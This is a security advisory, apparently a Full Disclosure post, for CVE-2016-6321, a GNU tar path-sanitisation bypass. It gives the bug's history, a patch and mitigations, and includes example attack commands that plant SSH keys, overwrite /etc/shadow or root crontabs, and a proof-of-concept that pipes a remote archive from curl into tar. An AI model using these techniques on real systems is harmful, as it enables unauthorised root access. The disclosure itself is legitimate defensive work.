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[FD] [CSS] POINTYFEATHER / tar extract pathname bypass (CVE-2016-6321)

---------------- t2'16 special vulnerability release -----------------

        Vulnerability: POINTYFEATHER aka Tar extract pathname bypass
        Credits: Harry Sintonen / FSC1V Cyber Security Services
        Date: 2016-10-27
        Impact: File overwrite in certain situations
        Classifier: Full spectrum cyber
        CVSS: 4.3.2
        Threat level: Manatee


        In a time when 0days are hoarded and exchanged for
        local currencies in different parts of the world,
        F-Secure CSS is going old-school and dropping a
        not-so-valuable vulnerability, for free as in beer.

        Tar will happily extract files & directories into
        an arbitrary location when supplied with a suitably
        crafted archive file. If a target system is extracting
        an attacker supplied file, the vulnerability can
        be exploited to gain file overwrite capability.

        We have exploited this vulnerability in environments
        where tar was run as root to gain root access on the
        target. In most scenarios this is a non-issue, however
        as we have witnessed, corner cases can be quite

        After the communication with different parties was
        discontinued for more than 42 days, the decision was
        made to proceed with our honorable disclosure policy.

        Greets to our Swedish friends olleb, Linus, Daniel W,
        Ludde - see you at t2!

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              .+@@@@@@@#:    :#@@@@@@#:      :#@@@@@@#:

           Denmark · Finland · Poland · Sweden · Norway
                Cyber Industrial Complex since '07


CVE-2016-6321 - GNU tar extract pathname bypass
The latest version of this advisory is available at:


GNU `tar' archiver can be tricked into extracting files and directories in the given destination, regardless of the path name(s) specified on the command line.


GNU `tar' archiver attempts to avoid path traversal attacks by removing offending parts of the element name at extract. This sanitizing leads to a vulnerability where the attacker can bypass the path name(s) specified on the command line.


The attacker can create a crafted tar archive that, if extracted by the victim, replaces files and directories the victim has access to in the target directory, regardless of the path name(s) specified on the command line.


The discovered vulnerability, described in more detail below, enables file and directory overwrite attacks against the user or system by using a crafted tar archive. The attack requires that the victim or system extract the crafted tar archive prepared by the attacker. Automated systems extracting paths from archives originating from untrusted sources are in particular danger, especially if the extract operation is performed with elevated privileges.

In the worst-case scenario this vulnerability can lead to a full system compromise (remote code execution as root).

1. Extract pathname bypass due to safer_name_suffix usage

lib/paxnames.c safer_name_suffix() function sanitizes the `file_name' parameter and removes the file system prefix from the name if `absolute_names' parameter is 0. As a result, the path name effectively becomes relative to the target directory, ignoring the path name given on the command line.

The history of this bug is somewhat complicated:

- Before 13.12.1999 commit it was possible to extract entries
  with member names containing ".." sequence(s).
- On 13.12.1999 commit the code was changed[1] to warn about
  and skip member names that had ".." sequence(s):
  `(extract_archive): By default, warn about ".." in member
  names, and skip them.'
- However on 05.07.2003 the code was changed[2] to use
  `safer_name_suffix' function:
  `(extract_archive): Use safer_name_suffix rather than rolling
   our own.'

The unfortunate side effect of the 05.07.2003 change was that rather than skipping the entries with malicious member names with ".." in them, the code would now attempt to make the malicious name safe. Making the name safe involves stripping all offending path components, thus resulting the target name being relative to the target directory root, regardless of the requested path name.

Here is a number of practical attack scenarios:

- Attack the user by replacing important files, such as
  .ssh/authorized_keys, .bashrc, .bash_logout, .profile,
  .subversion or .anyconnect, when they extract an tar archive.
   For example:

  user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf - \
  --wildcards 'blurf*'
  tar: Removing leading `blurf/../' from member names
  user@host:~$ cat .ssh/authorized_keys
  ssh-rsa AAAAB3...nU= mrrobot@fsociety

- Attack automation that extracts tar originating from a web
  application or similar sources. Such operation might be performed by
  a setuid root component of the application. The command executed
  could be for example:

  #tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc

  The attacker can overwrite /var/spool/cron/crontabs/root to gain code
  execution as root. It is also possible to replace binaries commonly
  executed by root with a backdoored ones, or to drop setuid root
  binaries that will enable the attacker to gain root privileges at
  will. Common attack would be to replace some network facing daemon
  with backdoored one, enabling covert code execution on demand.

  This type of scenario has been successfully exploited in the real
  world to gain a remote code execution as root in different

- Attack commands that try to replace single files/dirs as root:

  The victim would like to replace `/etc/motd' file in the system by
  extracting it from an archive obtained from an untrusted source:

  # tar -C / -xvf archive.tar etc/motd
  tar: Removing leading `etc/motd/../' from member names

  The attacker can also bypass --exclude rule, if it is being used
  with --anchored switch. For example: The victim would like to extract
  all files but `/etc/shadow' from an archive:

  # tar -C / -xvf archive.tar --anchored --exclude etc/shadow
  tar: Removing leading `etc/motd/../' from member names

  In both cases, the attacker has now successfully replaced /etc/shadow
  file with arbitrary content.

Exploiting the vulnerability works best if the attacker has some prior knowledge of the specifics of the tar command line that gets executed. The path prefix before the `..' sequence will need to (at least partially) match the target path (or not match in case of the exclude rule) in order for the bypass attack to work. Guessing which paths the victim might extract could work too, but the success rate is likely lower.

Vulnerable versions

- GNU tar 1.14 to 1.29 (inclusive)

Affected operating systems

Red Hat
Alpine Linux
Red Star OS
any other Linux using GNU tar

Recommended changes to GNU tar

1. Skip entries with member names containing a '..', or fail the whole
   tar extract operation. A proposed patch that mitigates the issue:


   While this patch applies to GNU paxutils, it should only be applied
   to version being used in `tar', not paxutils itself. Patching the
   paxutils itself would likely break excepted GNU `cpio'

End user mitigation

1. If your OS distribution offers a fixed GNU tar version, install it


2. Only extract untrusted tar archives to a temporary directory in
   virtual machine


3. Prohibit full spectrum cyber operations in your enterprise.


$ curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
$ cat etc/shadow


[1] http://git.savannah.gnu.org/cgit/tar.git/commit/src/
[2] http://git.savannah.gnu.org/cgit/tar.git/commit/src/


10.03.2016  discovered the vulnerability
11.03.2016  wrote a preliminary advisory
11.03.2016  contacted the GNU tar maintainer for a PGP key
14.03.2016  revised the advisory with --anchored --exclude bypass
15.03.2016  reworked the advisory slightly
15.03.2016  sent the advisory to the GNU tar maintainer
16.03.2016  contacted secalert AT redhat.com for help in coordination
17.03.2016  added end user mitigation via --one-top-level to the
17.03.2016  GNU tar maintainer didn't consider this to be an issue.
            as a result mitigation in upstream GNU tar appears
23.03.2016  added more attack scenarios to the advisory
10.08.2016  reworked the advisory slightly
10.08.2016  polled secalert AT redhat.com regarding the status of the
11.08.2016  CVE-2016-6321 was assigned to the vulnerability
15.09.2016  polled secalert AT redhat.com regarding the status of the
26.10.2016  handcrafted the ascii release file at a lobby bar
27.10.2016  public release of the advisory at t2'16

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